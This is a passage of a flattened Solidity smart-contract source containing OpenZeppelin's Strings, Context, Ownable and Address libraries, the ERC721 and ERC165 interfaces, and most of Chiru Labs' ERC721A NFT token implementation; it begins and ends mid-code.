return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/utils/Address.sol
// OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol)
pragma solidity ^0.8.1;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*
* [IMPORTANT]
* ====
* You shouldn't rely on `isContract` to protect against flash loan attacks!
*
* Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
* like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
* constructor.
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize/address.code.length, which returns 0
// for contracts in construction, since the code is only stored at the end
// of the constructor execution.
return account.code.length > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol)
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File: @openzeppelin/contracts/utils/introspection/IERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
// OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol)
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol)
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/extensions/IERC721Enumerable.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol
// OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol)
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: erc721a/contracts/ERC721A.sol
// Creator: Chiru Labs
pragma solidity ^0.8.4;
error ApprovalCallerNotOwnerNorApproved();
error ApprovalQueryForNonexistentToken();
error ApproveToCaller();
error ApprovalToCurrentOwner();
error BalanceQueryForZeroAddress();
error MintedQueryForZeroAddress();
error BurnedQueryForZeroAddress();
error MintToZeroAddress();
error MintZeroQuantity();
error OwnerIndexOutOfBounds();
error OwnerQueryForNonexistentToken();
error TokenIndexOutOfBounds();
error TransferCallerNotOwnerNorApproved();
error TransferFromIncorrectOwner();
error TransferToNonERC721ReceiverImplementer();
error TransferToZeroAddress();
error URIQueryForNonexistentToken();
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata and Enumerable extension. Built to optimize for lower gas during batch mints.
*
* Assumes serials are sequentially minted starting at 0 (e.g. 0, 1, 2, 3..).
*
* Assumes that an owner cannot have more than 2**64 - 1 (max value of uint64) of supply.
*
* Assumes that the maximum token id cannot exceed 2**128 - 1 (max value of uint128).
*/
contract ERC721A is Context, ERC165, IERC721, IERC721Metadata, IERC721Enumerable {
using Address for address;
using Strings for uint256;
// Compiler will pack this into a single 256bit word.
struct TokenOwnership {
// The address of the owner.
address addr;
// Keeps track of the start time of ownership with minimal overhead for tokenomics.
uint64 startTimestamp;
// Whether the token has been burned.
bool burned;
}
// Compiler will pack this into a single 256bit word.
struct AddressData {
// Realistically, 2**64-1 is more than enough.
uint64 balance;
// Keeps track of mint count with minimal overhead for tokenomics.
uint64 numberMinted;
// Keeps track of burn count with minimal overhead for tokenomics.
uint64 numberBurned;
}
// Compiler will pack the following
// _currentIndex and _burnCounter into a single 256bit word.
// The tokenId of the next token to be minted.
uint128 internal _currentIndex;
// The number of tokens burned.
uint128 internal _burnCounter;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to ownership details
// An empty struct value does not necessarily mean the token is unowned. See ownershipOf implementation for details.
mapping(uint256 => TokenOwnership) internal _ownerships;
// Mapping owner address to address data
mapping(address => AddressData) private _addressData;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
// Counter underflow is impossible as _burnCounter cannot be incremented
// more than _currentIndex times
unchecked {
return _currentIndex - _burnCounter;
}
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenByIndex(uint256 index) public view override returns (uint256) {
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (!ownership.burned) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
revert TokenIndexOutOfBounds();
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
* This read function is O(totalSupply). If calling from a separate contract, be sure to test gas first.
* It may also degrade with extremely large collection sizes (e.g >> 10000), test for your use case.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256) {
if (index >= balanceOf(owner)) revert OwnerIndexOutOfBounds();
uint256 numMintedSoFar = _currentIndex;
uint256 tokenIdsIdx;
address currOwnershipAddr;
// Counter overflow is impossible as the loop breaks when
// uint256 i is equal to another uint256 numMintedSoFar.
unchecked {
for (uint256 i; i < numMintedSoFar; i++) {
TokenOwnership memory ownership = _ownerships[i];
if (ownership.burned) {
continue;
}
if (ownership.addr != address(0)) {
currOwnershipAddr = ownership.addr;
}
if (currOwnershipAddr == owner) {
if (tokenIdsIdx == index) {
return i;
}
tokenIdsIdx++;
}
}
}
// Execution should never reach this point.
revert();
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
interfaceId == type(IERC721Enumerable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view override returns (uint256) {
if (owner == address(0)) revert BalanceQueryForZeroAddress();
return uint256(_addressData[owner].balance);
}
function _numberMinted(address owner) internal view returns (uint256) {
if (owner == address(0)) revert MintedQueryForZeroAddress();
return uint256(_addressData[owner].numberMinted);
}
function _numberBurned(address owner) internal view returns (uint256) {
if (owner == address(0)) revert BurnedQueryForZeroAddress();
return uint256(_addressData[owner].numberBurned);
}
/**
* Gas spent here starts off proportional to the maximum mint batch size.
* It gradually moves to O(1) as tokens get transferred around in the collection over time.
*/
function ownershipOf(uint256 tokenId) internal view returns (TokenOwnership memory) {
uint256 curr = tokenId;
unchecked {
if (curr < _currentIndex) {
TokenOwnership memory ownership = _ownerships[curr];
if (!ownership.burned) {
if (ownership.addr != address(0)) {
return ownership;
}
// Invariant:
// There will always be an ownership that has an address and is not burned
// before an ownership that does not have an address and is not burned.
// Hence, curr will not underflow.
while (true) {
curr--;
ownership = _ownerships[curr];
if (ownership.addr != address(0)) {
return ownership;
}
}
}
}
}
revert OwnerQueryForNonexistentToken();
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view override returns (address) {
return ownershipOf(tokenId).addr;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
if (!_exists(tokenId)) revert URIQueryForNonexistentToken();
string memory baseURI = _baseURI();
return bytes(baseURI).length != 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : '';
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return '';
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public override {
address owner = ERC721A.ownerOf(tokenId);
if (to == owner) revert ApprovalToCurrentOwner();
if (_msgSender() != owner && !isApprovedForAll(owner, _msgSender())) {
revert ApprovalCallerNotOwnerNorApproved();
}
_approve(to, tokenId, owner);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view override returns (address) {
if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public override {
if (operator == _msgSender()) revert ApproveToCaller();
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, '');
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
_transfer(from, to, tokenId);
if (!_checkOnERC721Received(from, to, tokenId, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
*/
function _exists(uint256 tokenId) internal view returns (bool) {
return tokenId < _currentIndex && !_ownerships[tokenId].burned;
}
function _safeMint(address to, uint256 quantity) internal {
_safeMint(to, quantity, '');
}
/**
* @dev Safely mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called for each safe transfer.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _safeMint(
address to,
uint256 quantity,
bytes memory _data
) internal {
_mint(to, quantity, _data, true);
}
/**
* @dev Mints `quantity` tokens and transfers them to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `quantity` must be greater than 0.
*
* Emits a {Transfer} event.
*/
function _mint(
address to,
uint256 quantity,
bytes memory _data,
bool safe
) internal {
uint256 startTokenId = _currentIndex;
if (to == address(0)) revert MintToZeroAddress();
if (quantity == 0) revert MintZeroQuantity();
_beforeTokenTransfers(address(0), to, startTokenId, quantity);
// Overflows are incredibly unrealistic.
// balance or numberMinted overflow if current value of either + quantity > 3.4e38 (2**128) - 1
// updatedIndex overflows if _currentIndex + quantity > 3.4e38 (2**128) - 1
unchecked {
_addressData[to].balance += uint64(quantity);
_addressData[to].numberMinted += uint64(quantity);
_ownerships[startTokenId].addr = to;
_ownerships[startTokenId].startTimestamp = uint64(block.timestamp);
uint256 updatedIndex = startTokenId;
for (uint256 i; i < quantity; i++) {
emit Transfer(address(0), to, updatedIndex);
if (safe && !_checkOnERC721Received(address(0), to, updatedIndex, _data)) {
revert TransferToNonERC721ReceiverImplementer();
}
updatedIndex++;
}
_currentIndex = uint128(updatedIndex);
}
_afterTokenTransfers(address(0), to, startTokenId, quantity);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) private {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
bool isApprovedOrOwner = (_msgSender() == prevOwnership.addr ||
isApprovedForAll(prevOwnership.addr, _msgSender()) ||
getApproved(tokenId) == _msgSender());
if (!isApprovedOrOwner) revert TransferCallerNotOwnerNorApproved();
if (prevOwnership.addr != from) revert TransferFromIncorrectOwner();
if (to == address(0)) revert TransferToZeroAddress();
_beforeTokenTransfers(from, to, tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[from].balance -= 1;
_addressData[to].balance += 1;
_ownerships[tokenId].addr = to;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
// If the ownership slot of tokenId+1 is not explicitly set, that means the transfer initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(from, to, tokenId);
_afterTokenTransfers(from, to, tokenId, 1);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
TokenOwnership memory prevOwnership = ownershipOf(tokenId);
_beforeTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Clear approvals from the previous owner
_approve(address(0), tokenId, prevOwnership.addr);
// Underflow of the sender's balance is impossible because we check for
// ownership above and the recipient's balance can't realistically overflow.
// Counter overflow is incredibly unrealistic as tokenId would have to be 2**128.
unchecked {
_addressData[prevOwnership.addr].balance -= 1;
_addressData[prevOwnership.addr].numberBurned += 1;
// Keep track of who burned the token, and the timestamp of burning.
_ownerships[tokenId].addr = prevOwnership.addr;
_ownerships[tokenId].startTimestamp = uint64(block.timestamp);
_ownerships[tokenId].burned = true;
// If the ownership slot of tokenId+1 is not explicitly set, that means the burn initiator owns it.
// Set the slot of tokenId+1 explicitly in storage to maintain correctness for ownerOf(tokenId+1) calls.
uint256 nextTokenId = tokenId + 1;
if (_ownerships[nextTokenId].addr == address(0)) {
// This will suffice for checking _exists(nextTokenId),
// as a burned slot cannot contain the zero address.
if (nextTokenId < _currentIndex) {
_ownerships[nextTokenId].addr = prevOwnership.addr;
_ownerships[nextTokenId].startTimestamp = prevOwnership.startTimestamp;
}
}
}
emit Transfer(prevOwnership.addr, address(0), tokenId);
_afterTokenTransfers(prevOwnership.addr, address(0), tokenId, 1);
// Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.
unchecked {
_burnCounter++;
}
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(
address to,
uint256 tokenId,
address owner
) private {
_tokenApprovals[tokenId] = to;
emit Approval(owner, to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert TransferToNonERC721ReceiverImplementer();
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before a set of serially-ordered token ids are about to be transferred. This includes minting.
* And also called before burning one token.
*
* startTokenId - the first token id to be transferred
* quantity - the amount to be transferred
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, `from`'s `tokenId` will be
* transferred to `to`.
